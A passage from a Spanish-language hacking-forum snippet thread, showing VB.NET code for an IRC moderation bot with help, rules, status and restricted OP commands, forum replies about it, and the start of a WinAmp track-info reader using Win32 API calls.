  131.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!? | !ayuda      ", "Muestra esta ayuda."))
  132.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!reglas          ", "Muestra las reglas de la sala."))
  133.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!reglasehn       ", "Muestra las reglas de ElHacker.Net."))
  134.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!status          ", "Muestra el estado del Bot."))
  135.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!Whois (IP)      ", "Muestra información geográfica de una IP."))
  136.  
  137.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1}      ", Name, "[+] Comandos privados:"))
  138.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!op              ", "Te otorga el estado de OP."))
  139.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!op(+|-) (NOMBRE)", "Otorga o elimina el estado de OP a un usuario."))
  140.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!bot (ON|OFF)    ", "Activa o Desactiva el Bot."))
  141.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!q | !quit       ", "Desconecta al Bot."))
  142.                        End If
  143.  
  144.                        ' Room Rules
  145.                    Case "!reglas"
  146.  
  147.                        If Line.ToLower.Contains(Channel.ToLower) Then
  148.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1}", Name, "[+] Reglas de " & Channel))
  149.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1}", Name, "1. Respetar a los usuarios y no ofender de ninguna manera."))
  150.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1}", Name, "2. No preguntar como puedes hackear a personas ajenas."))
  151.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1}", Name, "3. No compartir material pornográfico o difundir la pederástia o cosas parecidas."))
  152.                        End If
  153.  
  154.                        ' EHN Rules
  155.                    Case "!reglasehn"
  156.  
  157.                        If Line.ToLower.Contains(Channel.ToLower) Then
  158.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1}", Name, "[+] Reglas de ElHacker.Net: http://foro.elhacker.net/reglas"))
  159.                        End If
  160.  
  161.                        ' Geo-Locate IP
  162.                    Case "!whois"
  163.  
  164.                        'If Line.ToLower.Contains(Channel.ToLower) Then _
  165.                        'AndAlso Activated Then
  166.  
  167.                        'Dim GeoInfo As GeoLocation.GeoInfo = GeoLocation.Locate(Argument)
  168.                        'IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "[+] Información geográfica de ", Argument))
  169.                        'IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "País..:", GeoInfo.Country))
  170.                        'IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Ciudad:", GeoInfo.City))
  171.                        'IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Código:", GeoInfo.Code))
  172.                        'IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Host..:", GeoInfo.Host))
  173.                        'IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Ip....:", GeoInfo.Ip))
  174.                        'GeoInfo = Nothing
  175.  
  176.                        ' End If
  177.  
  178.                        ' Give own OP+
  179.                    Case "!op"
  180.  
  181.                        If Gods.Contains(Name) _
  182.                        AndAlso Line.ToLower.Contains(Channel.ToLower) _
  183.                        AndAlso Activated Then
  184.  
  185.                            IRC_Writer.WriteLine(String.Format("MODE {0} +o {1}", Channel, Name))
  186.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2}", Channel, Name, "se ha convertido en OP."))
  187.  
  188.                        ElseIf Not Gods.Contains(Name) _
  189.                        AndAlso Line.ToLower.Contains(Channel.ToLower) _
  190.                        AndAlso Activated Then
  191.  
  192.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2}", Channel, Name, "no tienes privilegios para ser OP."))
  193.  
  194.                        End If
  195.  
  196.                        ' Give Op+ to a user
  197.                    Case "!op+"
  198.  
  199.                        If Gods.Contains(Name) _
  200.                        AndAlso Line.ToLower.Contains(Channel.ToLower) _
  201.                        AndAlso Activated Then
  202.  
  203.                            IRC_Writer.WriteLine("MODE {0} +o {1}", Channel, Argument)
  204.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2} {3}", Channel, Name, "concedió OP a", Argument))
  205.  
  206.                        ElseIf Not Gods.Contains(Name) _
  207.                        AndAlso Line.ToLower.Contains(Channel.ToLower) _
  208.                        AndAlso Activated Then
  209.  
  210.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2}", Channel, Name, "no tienes privilegios para conceder OP."))
  211.  
  212.                        End If
  213.  
  214.                        ' Give Op- to a user
  215.                    Case "!op-"
  216.  
  217.                        If Gods.Contains(Name) _
  218.                        AndAlso Line.ToLower.Contains(Channel.ToLower) _
  219.                        AndAlso Activated Then
  220.  
  221.                            IRC_Writer.WriteLine("MODE {0} -o {1}", Channel, Argument)
  222.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2} {3}", Channel, Name, "denegó OP a", Argument))
  223.  
  224.                        ElseIf Not Gods.Contains(Name) _
  225.                        AndAlso Line.ToLower.Contains(Channel.ToLower) _
  226.                        AndAlso Activated Then
  227.  
  228.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2}", Channel, Name, "no tienes privilegios para denegar OP."))
  229.  
  230.                        End If
  231.  
  232.                        ' Bot ON/OFF
  233.                    Case "!bot"
  234.  
  235.                        If Gods.Contains(Name) _
  236.                        AndAlso Line.ToLower.Contains(Channel.ToLower) Then
  237.  
  238.                            Select Case Argument.ToLower
  239.                                Case "on"
  240.                                    Activated = True
  241.                                    Write("Bot status changed to: Enabled", ConsoleColor.Cyan)
  242.                                Case "off"
  243.                                    Activated = False
  244.                                    Write("Bot status changed to: Disabled", ConsoleColor.Cyan)
  245.                            End Select
  246.  
  247.                        ElseIf Not Gods.Contains(Name) _
  248.                        AndAlso Line.ToLower.Contains(Channel.ToLower) Then
  249.  
  250.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2}", Channel, Name, "no tienes privilegios de OP."))
  251.  
  252.                        End If
  253.  
  254.                        ' Bot Status
  255.                    Case "!status"
  256.  
  257.                        If Line.ToLower.Contains(Channel.ToLower) Then
  258.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1}    ", Name, "[+] Status del Bot"))
  259.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Soy propiedad de......:", "Elektro-H"))
  260.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Versión de mi sistema.:", "0.2"))
  261.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Tiempo total online...:", Elapsed_Time.Elapsed.Hours & " H, " & Elapsed_Time.Elapsed.Minutes & " M, " & Elapsed_Time.Elapsed.Seconds & " S"))
  262.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Mensajes procesados...:", Total_Messages))
  263.                        End If
  264.  
  265.                        ' Quit
  266.                    Case "!q", "!quit"
  267.  
  268.                        If Gods.Contains(Name) _
  269.                        AndAlso Line.ToLower.Contains(Channel.ToLower) _
  270.                        AndAlso Activated Then
  271.  
  272.                            IRC_Writer.WriteLine("QUIT")
  273.                            Write("Exiting...", ConsoleColor.Yellow)
  274.                            Exit Sub
  275.  
  276.                        End If
  277.  
  278.                End Select
  279.  
  280.            End While
  281.  
  282.        Catch ex As Exception
  283.            Write("Error: " & ex.Message, ConsoleColor.Red)
  284.            IRC_Writer.WriteLine("QUIT")
  285.  
  286.        Finally
  287.            IRC_Reader.Dispose()
  288.            IRC_Writer.Dispose()
  289.            Network_Stream.Dispose()
  290.  
  291.        End Try
  292.  
  293.    End Sub
  294.  
  295.    Private Shared Sub Write(ByVal Text As String, _
  296.                                 Optional ByVal ForeColor As System.ConsoleColor = ConsoleColor.White, _
  297.                                 Optional ByVal BackColor As System.ConsoleColor = ConsoleColor.Black)
  298.  
  299.        Dim Current_ForegroundColor As ConsoleColor = Console.ForegroundColor
  300.        Dim Current_BackgroundColor As ConsoleColor = Console.BackgroundColor
  301.  
  302.        Console.ForegroundColor = ForeColor
  303.        Console.BackgroundColor = BackColor
  304.        Console.WriteLine(Text & vbNewLine)
  305.  
  306.        Console.ForegroundColor = Current_ForegroundColor
  307.        Console.BackgroundColor = Current_BackgroundColor
  308.  
  309.    End Sub
  310.  
  311. End Class


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 20 Junio 2013, 20:45 pm
Muy buen code, y las captchas? :rolleyes:


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 20 Junio 2013, 21:38 pm
y las captchas? :rolleyes:
El captcha te lo pide la web de freenode, no el protocolo IRC.
no es necesario, pruébalo xD...


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 20 Junio 2013, 21:48 pm
Implementación en C#

Gracias Nov


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 20 Junio 2013, 22:12 pm
El captcha te lo pide la web de freenode, no el protocolo IRC.
no es necesario, pruébalo xD...

Okey, gracias :)


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 22 Junio 2013, 20:28 pm
Obtener en WinAmp el título o la ruta del archivo de la canción actual.

PD: Son códigos de VB6 que convertí a .NET (no todo...) con algo de ayuda.

Código
  1. #Region " WinAmp Info"
  2.  
  3. ' [ WinAmp Info ]
  4. '
  5. ' // By Elektro H@cker
  6. '
  7. ' Examples:
  8. ' MsgBox(WinAmp.Get_Title)    ' Result: Artist - Title
  9. ' MsgBox(WinAmp.Get_FileName) ' Result: C:\Title.ext
  10.  
  11. Public Class WinAmp
  12.  
  13.    Private Const WinampClassName As String = "Winamp v1.x"
  14.  
  15.    Private Declare Auto Function FindWindow Lib "user32" (ByVal lpClassName As String, ByVal lpWindowName As String) As IntPtr
  16.    Private Declare Auto Function GetWindowText Lib "user32" (ByVal hwnd As IntPtr, ByVal lpString As String, ByVal cch As Integer) As Integer
  17.    Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, ByRef lpdwProcessId As Long) As Long
  18.    Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
  19.    Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As